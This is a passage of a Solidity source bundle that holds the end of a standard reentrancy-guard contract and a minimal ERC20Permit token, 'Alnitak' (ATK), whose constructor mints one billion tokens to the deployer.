// The values being non-zero value makes deployment a bit more expensive,\n    // but in exchange the refund on every call to nonReentrant will be lower in\n    // amount. Since refunds are capped to a percentage of the total\n    // transaction\u0027s gas, it is best to keep them low in cases like this one, to\n    // increase the likelihood of the full refund coming into effect.\n    uint256 private constant _NOT_ENTERED = 1;\n    uint256 private constant _ENTERED = 2;\n\n    uint256 private _status;\n\n    /**\n     * @dev Unauthorized reentrant call.\n     */\n    error ReentrancyGuardReentrantCall();\n\n    constructor() {\n        _status = _NOT_ENTERED;\n    }\n\n    /**\n     * @dev Prevents a contract from calling itself, directly or indirectly.\n     * Calling a `nonReentrant` function from another `nonReentrant`\n     * function is not supported. It is possible to prevent this from happening\n     * by making the `nonReentrant` function external, and making it call a\n     * `private` function that does the actual work.\n     */\n    modifier nonReentrant() {\n        _nonReentrantBefore();\n        _;\n        _nonReentrantAfter();\n    }\n\n    function _nonReentrantBefore() private {\n        // On the first call to nonReentrant, _status will be _NOT_ENTERED\n        if (_status == _ENTERED) {\n            revert ReentrancyGuardReentrantCall();\n        }\n\n        // Any calls to nonReentrant after this point will fail\n        _status = _ENTERED;\n    }\n\n    function _nonReentrantAfter() private {\n        // By storing the original value once again, a refund is triggered (see\n        // https://eips.ethereum.org/EIPS/eip-2200)\n        _status = _NOT_ENTERED;\n    }\n\n    /**\n     * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n     * `nonReentrant` function in the call stack.\n     */\n    function _reentrancyGuardEntered() internal view returns (bool) {\n        return _status == _ENTERED;\n    }\n}\n"},"Token.sol":{"content":"// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.19;\n\nimport \"./ERC20.sol\";\n\ncontract Alnitak is ERC20Permit, ReentrancyGuard {\n    constructor() ERC20Permit(\"Alnitak\", \"ATK\") {\n        _mint(msg.sender, 1000000000 * 10 ** decimals());\n    }\n}"}}